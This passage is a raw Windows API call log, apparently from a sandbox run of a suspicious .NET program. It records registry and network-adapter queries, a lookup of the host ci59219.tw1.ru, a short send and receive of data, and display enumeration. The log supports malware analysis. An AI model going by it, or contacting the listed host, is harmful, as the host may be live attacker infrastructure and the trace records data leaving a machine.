TokenHandle=0x1afbd0c8*=0x6a8) returned 1 [0177.083] QueryPerformanceFrequency (in: lpFrequency=0x7ffaa2b07db0 | out: lpFrequency=0x7ffaa2b07db0*=100000000) returned 1 [0177.084] QueryPerformanceCounter (in: lpPerformanceCount=0x1afbd778 | out: lpPerformanceCount=0x1afbd778*=2830497517892) returned 1 [0177.089] GetCurrentProcess () returned 0xffffffffffffffff [0177.089] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1afbcfb8 | out: TokenHandle=0x1afbcfb8*=0x6c0) returned 1 [0177.094] GetCurrentProcess () returned 0xffffffffffffffff [0177.094] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1afbcfc8 | out: TokenHandle=0x1afbcfc8*=0x6cc) returned 1 [0177.332] GetCurrentProcess () returned 0xffffffffffffffff [0177.332] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1afbd028 | out: TokenHandle=0x1afbd028*=0x6a8) returned 1 [0177.335] GetCurrentProcess () returned 0xffffffffffffffff [0177.335] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1afbd038 | out: TokenHandle=0x1afbd038*=0x6cc) returned 1 [0177.337] GetCurrentProcess () returned 0xffffffffffffffff [0177.337] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1afbd538 | out: TokenHandle=0x1afbd538*=0x6b0) returned 1 [0177.434] CoTaskMemAlloc (cb=0xcd0) returned 0x1b29b060 [0177.457] CoTaskMemFree (pv=0x1b29b060) [0177.465] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x6f8 [0177.538] setsockopt (s=0x6f8, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0177.538] closesocket (s=0x6f8) returned 0 [0177.538] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x6f8 [0177.540] setsockopt (s=0x6f8, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0177.540] closesocket (s=0x6f8) returned 0 [0177.540] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x6f8 [0177.541] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x6f4 [0177.541] ioctlsocket (in: s=0x6f8, cmd=-2147195266, argp=0x1afbd508 | out: argp=0x1afbd508) returned 0 [0177.542] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x6e8 [0177.542] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x6e4 [0177.542] ioctlsocket (in: s=0x6e8, cmd=-2147195266, argp=0x1afbd508 | out: argp=0x1afbd508) returned 0 [0177.542] WSAIoctl (in: s=0x6f8, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x1afbd490, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x1afbd490, lpOverlapped=0x0) returned -1 [0177.543] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x1afbd070, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0177.549] WSAEventSelect (s=0x6f8, hEventObject=0x6f4, lNetworkEvents=512) returned 0 [0177.549] WSAIoctl (in: s=0x6e8, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x1afbd490, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x1afbd490, lpOverlapped=0x0) returned -1 [0177.549] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x1afbd070, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0177.549] WSAEventSelect (s=0x6e8, hEventObject=0x6e4, lNetworkEvents=512) returned 0 [0177.549] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x6f0 [0177.550] RasConnectionNotificationW (param_1=0xffffffffffffffff, param_2=0x6f0, param_3=0x3) returned 0x0 [0177.566] RegOpenCurrentUser (in: samDesired=0x20019, phkResult=0x1afbd578 | out: phkResult=0x1afbd578*=0x714) returned 0x0 [0177.566] RegOpenKeyExW (in: hKey=0x714, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x1afbd4b8 | out: phkResult=0x1afbd4b8*=0x718) returned 0x0 [0177.566] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x71c [0177.567] RegNotifyChangeKeyValue (hKey=0x718, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x71c, fAsynchronous=1) returned 0x0 [0177.570] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x1afbd4c0 | out: phkResult=0x1afbd4c0*=0x720) returned 0x0 [0177.570] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x724 [0177.570] RegNotifyChangeKeyValue (hKey=0x720, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x724, fAsynchronous=1) returned 0x0 [0177.570] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x1afbd4c0 | out: phkResult=0x1afbd4c0*=0x728) returned 0x0 [0177.570] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x72c [0177.570] RegNotifyChangeKeyValue (hKey=0x728, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x72c, fAsynchronous=1) returned 0x0 [0177.572] GetCurrentProcess () returned 0xffffffffffffffff [0177.573] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1afbd448 | out: TokenHandle=0x1afbd448*=0x730) returned 1 [0177.656] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework", ulOptions=0x0, samDesired=0x20019, phkResult=0x1afbc578 | out: phkResult=0x1afbc578*=0x748) returned 0x0 [0177.656] RegQueryValueExW (in: hKey=0x748, lpValueName="LegacyWPADSupport", lpReserved=0x0, lpType=0x1afbc5b8, lpData=0x0, lpcbData=0x1afbc5b0*=0x0 | out: lpType=0x1afbc5b8*=0x0, lpData=0x0, lpcbData=0x1afbc5b0*=0x0) returned 0x2 [0177.656] RegCloseKey (hKey=0x748) returned 0x0 [0177.670] WinHttpOpen (pszAgentW=0x0, dwAccessType=0x1, pszProxyW=0x0, pszProxyBypassW=0x0, dwFlags=0x0) returned 0x1b21a360 [0177.680] WinHttpSetTimeouts (hInternet=0x1b21a360, nResolveTimeout=60000, nConnectTimeout=60000, nSendTimeout=60000, nReceiveTimeout=60000) returned 1 [0177.681] WinHttpGetIEProxyConfigForCurrentUser (in: pProxyConfig=0x1afbd4c0 | out: pProxyConfig=0x1afbd4c0) returned 1 [0177.708] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.HttpWebRequest_Disabled", lpBuffer=0x1afbc5c0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0177.708] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.HttpWebRequest_MinCount", lpBuffer=0x1afbc5c0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0177.712] EtwEventRegister () returned 0x0 [0177.712] EtwEventSetInformation () returned 0x0 [0177.716] GetCurrentProcess () returned 0xffffffffffffffff [0177.716] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1afbcf88 | out: TokenHandle=0x1afbcf88*=0x774) returned 1 [0177.718] GetCurrentProcess () returned 0xffffffffffffffff [0177.718] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1afbcf98 | out: TokenHandle=0x1afbcf98*=0x778) returned 1 [0177.733] SetEvent (hEvent=0x2e4) returned 1 [0177.750] GetCurrentProcess () returned 0xffffffffffffffff [0177.750] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1afbce68 | out: TokenHandle=0x1afbce68*=0x790) returned 1 [0177.751] GetCurrentProcess () returned 0xffffffffffffffff [0177.751] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1afbce78 | out: TokenHandle=0x1afbce78*=0x794) returned 1 [0177.753] GetTimeZoneInformation (in: lpTimeZoneInformation=0x1afbd240 | out: lpTimeZoneInformation=0x1afbd240) returned 0x2 [0177.754] GetDynamicTimeZoneInformation (in: pTimeZoneInformation=0x1afbd048 | out: pTimeZoneInformation=0x1afbd048) returned 0x2 [0177.756] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Time Zones\\W. Europe Standard Time", ulOptions=0x0, samDesired=0x20019, phkResult=0x1afbd018 | out: phkResult=0x1afbd018*=0x798) returned 0x0 [0177.759] RegQueryValueExW (in: hKey=0x798, lpValueName="TZI", lpReserved=0x0, lpType=0x1afbd058, lpData=0x0, lpcbData=0x1afbd050*=0x0 | out: lpType=0x1afbd058*=0x3, lpData=0x0, lpcbData=0x1afbd050*=0x2c) returned 0x0 [0177.759] RegQueryValueExW (in: hKey=0x798, lpValueName="TZI", lpReserved=0x0, lpType=0x1afbd058, lpData=0x2f738b0, lpcbData=0x1afbd050*=0x2c | out: lpType=0x1afbd058*=0x3, lpData=0x2f738b0*, lpcbData=0x1afbd050*=0x2c) returned 0x0 [0177.759] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Time Zones\\W. Europe Standard Time\\Dynamic DST", ulOptions=0x0, samDesired=0x20019, phkResult=0x1afbce18 | out: phkResult=0x1afbce18*=0x0) returned 0x2 [0177.759] RegQueryValueExW (in: hKey=0x798, lpValueName="MUI_Display", lpReserved=0x0, lpType=0x1afbcfe8, lpData=0x0, lpcbData=0x1afbcfe0*=0x0 | out: lpType=0x1afbcfe8*=0x1, lpData=0x0, lpcbData=0x1afbcfe0*=0x20) returned 0x0 [0177.759] RegQueryValueExW (in: hKey=0x798, lpValueName="MUI_Display", lpReserved=0x0, lpType=0x1afbcfe8, lpData=0x2f73db0, lpcbData=0x1afbcfe0*=0x20 | out: lpType=0x1afbcfe8*=0x1, lpData="@tzres.dll,-320", lpcbData=0x1afbcfe0*=0x20) returned 0x0 [0177.759] RegQueryValueExW (in: hKey=0x798, lpValueName="MUI_Std", lpReserved=0x0, lpType=0x1afbcfe8, lpData=0x0, lpcbData=0x1afbcfe0*=0x0 | out: lpType=0x1afbcfe8*=0x1, lpData=0x0, lpcbData=0x1afbcfe0*=0x20) returned 0x0 [0177.759] RegQueryValueExW (in: hKey=0x798, lpValueName="MUI_Std", lpReserved=0x0, lpType=0x1afbcfe8, lpData=0x2f73e20, lpcbData=0x1afbcfe0*=0x20 | out: lpType=0x1afbcfe8*=0x1, lpData="@tzres.dll,-322", lpcbData=0x1afbcfe0*=0x20) returned 0x0 [0177.760] RegQueryValueExW (in: hKey=0x798, lpValueName="MUI_Dlt", lpReserved=0x0, lpType=0x1afbcfe8, lpData=0x0, lpcbData=0x1afbcfe0*=0x0 | out: lpType=0x1afbcfe8*=0x1, lpData=0x0, lpcbData=0x1afbcfe0*=0x20) returned 0x0 [0177.760] RegQueryValueExW (in: hKey=0x798, lpValueName="MUI_Dlt", lpReserved=0x0, lpType=0x1afbcfe8, lpData=0x2f73e90, lpcbData=0x1afbcfe0*=0x20 | out: lpType=0x1afbcfe8*=0x1, lpData="@tzres.dll,-321", lpcbData=0x1afbcfe0*=0x20) returned 0x0 [0177.761] CoTaskMemAlloc (cb=0x20c) returned 0x1b21ae00 [0177.761] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x1b21ae00 | out: pszPath="C:\\Windows\\system32") returned 0x0 [0177.762] CoTaskMemFree (pv=0x1b21ae00) [0177.762] CoTaskMemAlloc (cb=0x20c) returned 0x1b21a7a0 [0177.762] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\Windows\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x1afbd038, pwszFileMUIPath=0x1b21a7a0, pcchFileMUIPath=0x1afbd040, pululEnumerator=0x1afbd030 | out: pwszLanguage=0x0, pcchLanguage=0x1afbd038, pwszFileMUIPath="C:\\Windows\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x1afbd040, pululEnumerator=0x1afbd030) returned 1 [0177.772] CoTaskMemFree (pv=0x0) [0177.772] CoTaskMemFree (pv=0x1b21a7a0) [0177.773] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x1b0f0001 [0177.779] CoTaskMemAlloc (cb=0x3ec) returned 0x1b2909b0 [0177.779] LoadStringW (in: hInstance=0x1b0f0001, uID=0x140, lpBuffer=0x1b2909b0, cchBufferMax=500 | out: lpBuffer="(UTC+01:00) Amsterdam, Berlin, Bern, Rome, Stockholm, Vienna") returned 0x3c [0177.779] CoTaskMemFree (pv=0x1b2909b0) [0177.780] FreeLibrary (hLibModule=0x1b0f0001) returned 1 [0177.781] CoTaskMemAlloc (cb=0x20c) returned 0x1b21a7a0 [0177.781] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x1b21a7a0 | out: pszPath="C:\\Windows\\system32") returned 0x0 [0177.781] CoTaskMemFree (pv=0x1b21a7a0) [0177.782] CoTaskMemAlloc (cb=0x20c) returned 0x1b21a7a0 [0177.782] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\Windows\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x1afbd038, pwszFileMUIPath=0x1b21a7a0, pcchFileMUIPath=0x1afbd040, pululEnumerator=0x1afbd030 | out: pwszLanguage=0x0, pcchLanguage=0x1afbd038, pwszFileMUIPath="C:\\Windows\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x1afbd040, pululEnumerator=0x1afbd030) returned 1 [0177.784] CoTaskMemFree (pv=0x0) [0177.784] CoTaskMemFree (pv=0x1b21a7a0) [0177.785] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x1b0f0001 [0177.788] CoTaskMemAlloc (cb=0x3ec) returned 0x1b2909b0 [0177.788] LoadStringW (in: hInstance=0x1b0f0001, uID=0x142, lpBuffer=0x1b2909b0, cchBufferMax=500 | out: lpBuffer="W. Europe Standard Time") returned 0x17 [0177.788] CoTaskMemFree (pv=0x1b2909b0) [0177.788] FreeLibrary (hLibModule=0x1b0f0001) returned 1 [0177.789] CoTaskMemAlloc (cb=0x20c) returned 0x1b21bf00 [0177.789] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x1b21bf00 | out: pszPath="C:\\Windows\\system32") returned 0x0 [0177.855] CoTaskMemFree (pv=0x1b21bf00) [0177.856] CoTaskMemAlloc (cb=0x20c) returned 0x1b21a7a0 [0177.856] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\Windows\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x1afbd038, pwszFileMUIPath=0x1b21a7a0, pcchFileMUIPath=0x1afbd040, pululEnumerator=0x1afbd030 | out: pwszLanguage=0x0, pcchLanguage=0x1afbd038, pwszFileMUIPath="C:\\Windows\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x1afbd040, pululEnumerator=0x1afbd030) returned 1 [0177.857] CoTaskMemFree (pv=0x0) [0177.857] CoTaskMemFree (pv=0x1b21a7a0) [0177.857] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x1b0f0001 [0177.858] CoTaskMemAlloc (cb=0x3ec) returned 0x1b2909b0 [0177.858] LoadStringW (in: hInstance=0x1b0f0001, uID=0x141, lpBuffer=0x1b2909b0, cchBufferMax=500 | out: lpBuffer="W. Europe Daylight Time") returned 0x17 [0177.859] CoTaskMemFree (pv=0x1b2909b0) [0177.859] FreeLibrary (hLibModule=0x1b0f0001) returned 1 [0177.859] RegCloseKey (hKey=0x798) returned 0x0 [0177.863] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x1afbd498 | out: pFixedInfo=0x0, pOutBufLen=0x1afbd498) returned 0x6f [0177.886] LocalAlloc (uFlags=0x0, uBytes=0x258) returned 0x7e94a0 [0177.886] GetNetworkParams (in: pFixedInfo=0x7e94a0, pOutBufLen=0x1afbd498 | out: pFixedInfo=0x7e94a0, pOutBufLen=0x1afbd498) returned 0x0 [0177.917] LocalFree (hMem=0x7e94a0) returned 0x0 [0177.919] CoTaskMemAlloc (cb=0x20c) returned 0x1b21ae00 [0177.919] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.Connection_Disabled", lpBuffer=0x1b21ae00, nSize=0x104 | out: lpBuffer="") returned 0x0 [0177.919] CoTaskMemFree (pv=0x1b21ae00) [0177.919] CoTaskMemAlloc (cb=0x20c) returned 0x1b21bf00 [0177.919] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.Connection_MinCount", lpBuffer=0x1b21bf00, nSize=0x104 | out: lpBuffer="") returned 0x0 [0177.919] CoTaskMemFree (pv=0x1b21bf00) [0177.926] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x798 [0177.929] WSASocketW (af=23, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x7a0 [0177.930] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1afbd2f8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1afbd240 | out: ppResult=0x1afbd240*=0x1b28c5f0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1b28da60*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0178.284] FreeAddrInfoW (pAddrInfo=0x1b28c5f0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1b28da60*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0178.287] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x79c [0178.287] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x7ac [0178.287] ioctlsocket (in: s=0x79c, cmd=-2147195266, argp=0x1afbd268 | out: argp=0x1afbd268) returned 0 [0178.287] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x7b0 [0178.287] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x7b4 [0178.287] ioctlsocket (in: s=0x7b0, cmd=-2147195266, argp=0x1afbd268 | out: argp=0x1afbd268) returned 0 [0178.287] WSAIoctl (in: s=0x79c, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x1afbd1f0, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x1afbd1f0, lpOverlapped=0x0) returned -1 [0178.288] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x1afbcdd0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0178.288] WSAEventSelect (s=0x79c, hEventObject=0x7ac, lNetworkEvents=512) returned 0 [0178.288] WSAIoctl (in: s=0x7b0, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x1afbd1f0, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x1afbd1f0, lpOverlapped=0x0) returned -1 [0178.289] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x1afbcdd0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0178.289] WSAEventSelect (s=0x7b0, hEventObject=0x7b4, lNetworkEvents=512) returned 0 [0178.289] GetAdaptersAddresses (in: Family=0x0, Flags=0x2e, Reserved=0x0, AdapterAddresses=0x0, SizePointer=0x1afbd258*=0x0 | out: AdapterAddresses=0x0, SizePointer=0x1afbd258*=0xc28) returned 0x6f [0178.294] LocalAlloc (uFlags=0x0, uBytes=0xc28) returned 0x1b291030 [0178.294] GetAdaptersAddresses (in: Family=0x0, Flags=0x2e, Reserved=0x0, AdapterAddresses=0x1b291030, SizePointer=0x1afbd258*=0xc28 | out: AdapterAddresses=0x1b291030*(Alignment=0x6000001c0, Length=0x1c0, IfIndex=0x6, Next=0x1b291350, AdapterName="{E96D977E-F067-4CE9-924D-F6E0A04729E4}", FirstUnicastAddress=0x1b2912a0, FirstAnycastAddress=0x0, FirstMulticastAddress=0x0, FirstDnsServerAddress=0x0, DnsSuffix="", Description="Intel(R) 82574L Gigabit Network Connection #2", FriendlyName="Ethernet 2", PhysicalAddress=([0]=0x0, [1]=0x5, [2]=0x80, [3]=0x53, [4]=0x16, [5]=0x19, [6]=0x0, [7]=0x0), PhysicalAddressLength=0x6, Flags=0x1c5, DdnsEnabled=0x1c5, RegisterAdapterSuffix=0x1c5, Dhcpv4Enabled=0x1c5, ReceiveOnly=0x1c5, NoMulticast=0x1c5, Ipv6OtherStatefulConfig=0x1c5, NetbiosOverTcpipEnabled=0x1c5, Ipv4Enabled=0x1c5, Ipv6Enabled=0x1c5, Ipv6ManagedAddressConfigurationSupported=0x1c5, Mtu=0x5dc, IfType=0x6, OperStatus=0x1, Ipv6IfIndex=0x6, ZoneIndices=([0]=0x6, [1]=0x6, [2]=0x6, [3]=0x6, [4]=0x1, [5]=0x1, [6]=0x1, [7]=0x1, [8]=0x1, [9]=0x1, [10]=0x1, [11]=0x1, [12]=0x1, [13]=0x1, [14]=0x0, [15]=0x1), FirstPrefix=0x0, TransmitLinkSpeed=0x3b9aca00, ReceiveLinkSpeed=0x3b9aca00, FirstWinsServerAddress=0x0, FirstGatewayAddress=0x0, Ipv4Metric=0xa, Ipv6Metric=0xa, Luid=0x6008002000000, Dhcpv4Server.lpSockaddr=0x1b2911f0*(sa_family=2, sin_port=0x0, sin_addr="192.168.0.1"), Dhcpv4Server.iSockaddrLength=16, CompartmentId=0x1, NetworkGuid=0x11eb6c9dc20d55b0, ConnectionType=0x1, TunnelType=0x0, Dhcpv6Server.lpSockaddr=0x0, Dhcpv6Server.iSockaddrLength=0, Dhcpv6ClientDuid=([0]=0x0, [1]=0x1, [2]=0x0, [3]=0x1, [4]=0x28, [5]=0xb6, [6]=0x28, [7]=0x5e, [8]=0x0, [9]=0xf, [10]=0xf3, [11]=0xe1, [12]=0x61, [13]=0x38, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0), Dhcpv6ClientDuidLength=0xe, Dhcpv6Iaid=0x6000ff3, FirstDnsSuffix=0x0), SizePointer=0x1afbd258*=0xc28) returned 0x0 [0178.343] LocalFree (hMem=0x1b291030) returned 0x0 [0178.344] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x1afbd248 | out: phkResult=0x1afbd248*=0x7a8) returned 0x0 [0178.344] RegQueryValueExW (in: hKey=0x7a8, lpValueName="HWRPortReuseOnSocketBind", lpReserved=0x0, lpType=0x1afbd288, lpData=0x0, lpcbData=0x1afbd280*=0x0 | out: lpType=0x1afbd288*=0x0, lpData=0x0, lpcbData=0x1afbd280*=0x0) returned 0x2 [0178.344] RegCloseKey (hKey=0x7a8) returned 0x0 [0178.410] closesocket (s=0x7a0) returned 0 [0178.426] send (s=0x798, buf=0x3084df0*, len=427, flags=0) returned 427 [0178.443] setsockopt (s=0x798, level=65535, optname=4102, optval=" \x86\x01", optlen=4) returned 0 [0178.444] recv (in: s=0x798, buf=0x2ffd4b8, len=4096, flags=0 | out: buf=0x2ffd4b8*) returned 2315 [0186.651] setsockopt (s=0x798, level=65535, optname=4102, optval="à\x93\x04", optlen=4) returned 0 [0186.653] SetEvent (hEvent=0x2e4) returned 1 [0189.474] GetSystemMetrics (nIndex=80) returned 1 [0189.579] EnumDisplayMonitors (hdc=0x0, lprcClip=0x0, lpfnEnum=0x1adb157c, dwData=0x0) returned 1 [0189.584] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x1afbcb60 | out: lpmi=0x1afbcb60) returned 1 [0189.672] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x3b010720 [0189.674] GetDeviceCaps (hdc=0x3b010720, index=12) returned 32 [0189.674] GetDeviceCaps (hdc=0x3b010720, index=14) returned 1 [0189.674] DeleteDC (hdc=0x3b010720) returned 1 [0189.680] GetProcessWindowStation () returned 0xc0 [0189.680] GetUserObjectInformationA (in: hObj=0xc0, nIndex=1, pvInfo=0x26d7320, nLength=0xc, lpnLengthNeeded=0x1afbcee0 | out: pvInfo=0x26d7320, lpnLengthNeeded=0x1afbcee0) returned 1 [0189.681] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x828 [0190.142] CoGetObjectContext (in: riid=0x2356978*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1afbbfb8 | out: ppv=0x1afbbfb8*=0x77dd58) returned 0x0 [0190.142] IComThreadingInfo:GetCurrentApartmentType (in: This=0x77dd58, pAptType=0x1afbbfa8 | out: pAptType=0x1afbbfa8*=1) returned 0x0 [0190.142] IUnknown:QueryInterface (in: This=0x77dd58, riid=0x2356958*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1afbbfb0 | out: 